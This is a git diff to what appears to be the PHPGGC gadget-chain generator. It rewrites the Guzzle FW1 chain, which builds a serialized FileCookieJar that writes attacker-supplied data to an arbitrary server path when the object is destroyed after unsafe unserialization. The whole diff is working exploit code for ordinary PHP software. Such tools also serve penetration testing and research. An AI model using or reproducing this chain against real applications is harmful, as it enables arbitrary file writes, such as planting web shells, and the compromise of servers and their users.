diff --git a/gadgetchains/Guzzle/FW/1/chain.php b/gadgetchains/Guzzle/FW/1/chain.php
index 961dfd48..837d55e9 100644
--- a/gadgetchains/Guzzle/FW/1/chain.php
+++ b/gadgetchains/Guzzle/FW/1/chain.php
@@ -4,15 +4,38 @@
 
 class FW1 extends \PHPGGC\GadgetChain\FileWrite
 {
-    public static $version = '4.0.0-rc.2 <= 7.5.0+';
+    public static $version = '7.0.0 <= *';
     public static $vector = '__destruct';
-    public static $author = 'cfreal';
+    public static $author = 'TrekLaps';
+    public static $information = 'File write via FileCookieJar. Content written as JSON array.';
 
     public function generate(array $parameters)
     {
-        $path = $parameters['remote_path'];
+        $filename = $parameters['remote_path'];
         $data = $parameters['data'];
 
-        return new \GuzzleHttp\Cookie\FileCookieJar($path, $data);
+        // Create FileCookieJar pointing to target file
+        $jar = new \GuzzleHttp\Cookie\FileCookieJar($filename);
+
+        // Create cookie with payload as value
+        $cookie = new \GuzzleHttp\Cookie\SetCookie([
+            'Name' => 'x',
+            'Value' => $data,
+            'Domain' => 'x',
+            'Path' => '/',
+            'Max-Age' => null,
+            'Expires' => time() + 86400,
+            'Secure' => false,
+            'Discard' => false,
+            'HttpOnly' => false,
+        ]);
+
+        // Use reflection to set cookies array
+        $ref = new \ReflectionClass(\GuzzleHttp\Cookie\CookieJar::class);
+        $prop = $ref->getProperty('cookies');
+        $prop->setAccessible(true);
+        $prop->setValue($jar, [$cookie]);
+
+        return $jar;
     }
 }
diff --git a/gadgetchains/Guzzle/FW/1/gadgets.php b/gadgetchains/Guzzle/FW/1/gadgets.php
index 806f5854..a4f6422a 100644
--- a/gadgetchains/Guzzle/FW/1/gadgets.php
+++ b/gadgetchains/Guzzle/FW/1/gadgets.php
@@ -1,41 +1,46 @@
 <?php
 
-namespace GuzzleHttp\Cookie
+namespace GuzzleHttp\Cookie;
+
+class SetCookie
 {
-    class SetCookie
-    {
-        private $data;
+    private $data = [];
 
-        public function __construct($data)
-        {
-            $this->data = [
-                'Expires' => 1,
-                'Discard' => false,
-                'Value' => $data
-            ];
-        }
+    public function __construct(array $data = [])
+    {
+        static $defaults = [
+            'Name' => null,
+            'Value' => null,
+            'Domain' => null,
+            'Path' => '/',
+            'Max-Age' => null,
+            'Expires' => null,
+            'Secure' => false,
+            'Discard' => false,
+            'HttpOnly' => false,
+        ];
+        $this->data = array_replace($defaults, $data);
     }
+}
 
-    class CookieJar
-    {
-        private $cookies = [];
-        private $strictMode;
+class CookieJar
+{
+    private $cookies = [];
+    private $strictMode = false;
 
-        public function __construct($data)
-        {
-            $this->cookies = [new SetCookie($data)];
-        }
+    public function setCookies(array $cookies)
+    {
+        $this->cookies = $cookies;
     }
+}
 
-    class FileCookieJar extends CookieJar
-    {
-        private $filename;
-        private $storeSessionCookies = true;
+class FileCookieJar extends CookieJar
+{
+    private $filename;
+    private $storeSessionCookies = true;
 
-        public function __construct($filename, $data)
-        {
-            parent::__construct($data);
-            $this->filename = $filename; 
-        }
+    public function __construct(string $filename)
+    {
+        $this->filename = $filename;
     }
-}
\ No newline at end of file
+}